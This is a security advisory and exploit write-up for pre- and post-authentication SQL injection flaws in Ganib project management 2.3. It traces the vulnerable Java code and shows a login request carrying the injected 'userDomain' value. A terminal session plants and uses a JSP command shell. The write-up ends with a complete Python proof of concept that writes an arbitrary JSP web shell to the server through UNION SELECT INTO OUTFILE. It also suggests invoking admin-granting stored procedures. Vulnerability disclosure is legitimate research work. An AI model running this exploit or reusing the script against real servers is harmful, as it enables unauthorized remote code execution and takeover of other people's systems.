ganib project management 2.3 SQLi
Ganib is a project management tool supporting all the glorious project management utilities. The latest version, 2.3 and below, is vulnerable to multiple SQL injection vectors.
The first SQL injection vector is a post-auth UPDATE injection in changetheme.jsp:
String theme = request.getParameter("theme");
User user = (User) pageContext.getAttribute("user", PageContext.SESSION_SCOPE);
if( user != null && user.getID() != null ) {
DBBean db = new DBBean();
try {
String query = "UPDATE PN_PERSON SET THEME_ID = '" + theme + "' WHERE PERSON_ID = " + user.getID();
db.prepareStatement(query);
db.executePrepared();
} finally {
db.release();
}
It’s obvious where the flaw is.
The most serious of the vectors is a preauth SQL injection vulnerability in the login POST request. The issue with this is that user-controlled data is passed through a series of data objects, all of which fail to sanitize the data, but all of which assume the data is cleansed.
The initial POST request is sent to LoginProcess.jsp
. This builds the LogManager object, which instantiates the object with our provided username, password, and user domain; all unsanitized:
// Grab parameters from Login form
String secure = request.getParameter ("secure");
String username = request.getParameter ("J_USERNAME");
username = username == null ? u_name : username;
String password = request.getParameter ("J_PASSWORD");
password = password == null ? pwd : password;
String userDomain = request.getParameter("userDomain");
[...]
else
loginManager.createLoginContext(username, password, userDomain);
And the request, for reference:
POST /LoginProcessing.jsp HTTP/1.1
Host: 192.168.1.219:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.219:8080/
Cookie: JSESSIONID=747813A1BB393D97FD577E2010F25F37; g.s=CE7D2D0E1293623B73B56FC239BFA23D; g.r=1; _sid=; _styp=; JSPRootURL=; cookies=true
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
theAction=submit&J_USERNAME=bob%40bob.com&J_PASSWORD=password&language=en&remember_checkbox=on&userDomain=1000
Once the loginManager is instantiated, loginManager.completeLogin
is called. This instantiates the DomainAuthenticator
object and attempts to login:
try
{
domainAuthenticator = DomainAuthenticator.getInstance(this.loginContext.getDomainID(), this.loginContext.getUsername(), this.loginContext.getClearTextPassword());
domainAuthenticator.authenticate(shadowLogin, isFromSSOLogin);
statusCode = LoginStatusCode.SUCCESS;
}
The DomainAuthenticator
object manages authentication with the various supported methods; domain, SSO, etc. If you’re still following with me, the traversal path thus far can be visualized below:
Note that, so far, none of the provided input has yet to be sanitized.
The DomainAuthenticator
constructor first instantiates a UserDomain
object:
private DomainAuthenticator(String domainID, String username, String clearTextPassword)
throws DomainException
{
try
{
UserDomain domain = new UserDomain();
domain.setID(domainID);
domain.load();
setDomain(domain);
setAuthenticationContext(new AuthenticationContext(domainID, username, clearTextPassword));
}
Once the UserDomain
object is initialized, the domainID
is set by our unsanitized userDomain
parameter, and the load function is invoked. The load
function is as follows:
public void load()
throws PersistenceException
{
DBBean db = new DBBean();
try
{
load(db);
} finally {
db.release();
}
}
public void load(DBBean db)
throws PersistenceException
{
loadProperties(db);
loadUsers(db);
loadSupportedConfigurations(db);
}
A DBBean
object is created, and passed into an overloaded load
function. This runs three other functions to build the DBBean
object; the call we’re interested in is loadUsers
:
public void loadUsers(DBBean db)
throws PersistenceException
{
if (this.domainID == null) {
throw new PersistenceException("UserDomain.loadUsers() can not proceed because the domainID is null");
}
if (this.userCollection == null) {
this.userCollection = new DomainUserCollection();
}
this.userCollection.setDomainID(getID());
this.userCollection.load(db);
}
This call invokes yet another object, DomainUserCollection
. Once instantiated, our yet to be sanitized userDomain
parameter is set in the object, and the load
function is invoked. This function, finally, takes us to our vulnerable SQL query:
protected void load(DBBean dbean)
throws PersistenceException
{
String qstrLoadUsersForDomain = "SELECT U.USER_ID, U.USERNAME, U.DISPLAY_NAME,U.USER_STATUS FROM PN_USER_VIEW U WHERE DOMAIN_ID = " + getDomainID();
if (this.domainID == null) {
throw new PersistenceException("DomainUserCollection.load() was unable to load the users for this domain because of an invalid (null) domainID");
}
[...]
dbean.executeQuery(qstrLoadUsersForDomain);
Here we can see that our controlled userDomain
parameter is injected directly into the SQL query. This can be exploited using a UNION SELECT with four columns to write a JSP shell out.
Because of the way the Tomcat applicaton’s web.xml is configured, we cannot drop a JSP into the ROOT folder and expect it to run. Have no fear, as the default Tomcat install built into Ganib includes both /manager and /host-manager, which provide perfect receptacles for our dumped shell:
root@jali:~/exploits# python ganib_sqli.py -i 192.168.1.64 -p /var/www/ganib/tomcat/webapps/host-manager -j ./cmd.jsp
[!] Dropping ./cmd.jsp on 192.168.1.64...
[!] Dropped at /wjdll.jsp
root@jali:~/exploits# python -c 'import requests; print requests.get("http://192.168.1.64:8080/host-manager/wjdll.jsp?cmd=pwd").content'
/var/www/ganib/tomcat/bin
1 2 3
root@jali:~/exploits#
There will be some issues if Ganib is running in a directory that MySQL does not have permissions to write to, and considering this is a completely portable install, it could be running from anywhere. Of course, you can also make use of the dozens of stored procedures Ganib installs by default; such as APPLY_ADMIN_PERMISSIONS, REMOVEUSER, or CREATE_PARENT_ADMIN_ROLE; this would simply turn the query from a UNION SELECT into OR PROCEDURE().
I did a quick grep through the remainder of the code base and found multiple other injection vectors; most, however, were postauth.
# Exploit title: Ganib 2.0 SQLi
# Date: 02/02/2014
# Exploit author: drone (@dronesec)
# More information:
# Vendor homepage: http://www.ganib.com/
# Software link: http://downloads.sourceforge.net/project/ganib/Ganib-2.0/Ganib-2.0_with_jre.zip
# Version: <= 2.3
# Fixed in: 2.4
# Tested on: Ubuntu 12.04 (apparmor disabled) / WinXP SP3
from argparse import ArgumentParser
import sys
import string
import random
import requests
""" Ganib 2.0 preauth SQLi PoC
@dronesec
"""
def loadJSP(options):
data = ''
try:
with open(options.jsp) as f:
for line in f.readlines():
data += line.replace("\"", "\\\"").replace('\n', '')
except Exception, e:
print e
sys.exit(1)
return data
def run(options):
print '[!] Dropping %s on %s...' % (options.jsp, options.ip)
url = "http://{0}:8080/LoginProcessing.jsp".format(options.ip)
shell = ''.join(random.choice(string.ascii_lowercase+string.digits) for x in range(5))
exploit = '1 UNION SELECT "{0}","1","2","3" INTO OUTFILE "{1}"'
exploit = exploit.format(loadJSP(options), options.path + '/%s.jsp' % shell)
data = { "theAction" : "submit",
"J_USERNAME" : "test",
"J_PASSWORD" : "test",
"language" : "en",
"remember_checkbox" : "on",
"userDomain" : exploit
}
res = requests.post(url, data=data)
if res.status_code is 200:
print '[!] Dropped at /{0}.jsp'.format(shell)
else:
print '[!] Failed to drop JSP (HTTP {0})'.format(res.status_code)
def parse():
parser = ArgumentParser()
parser.add_argument("-i", help='Server ip address', action='store', dest='ip',
required=True)
parser.add_argument("-p", help='Writable web path (/var/www/ganib)', dest='path',
action='store', default='/var/www/ganib')
parser.add_argument("-j", help="JSP to deploy", dest='jsp', action='store')
options = parser.parse_args()
options.path = options.path if options.path[-1] != '/' else options.path[:-1]
return options
if __name__ == "__main__":
run(parse())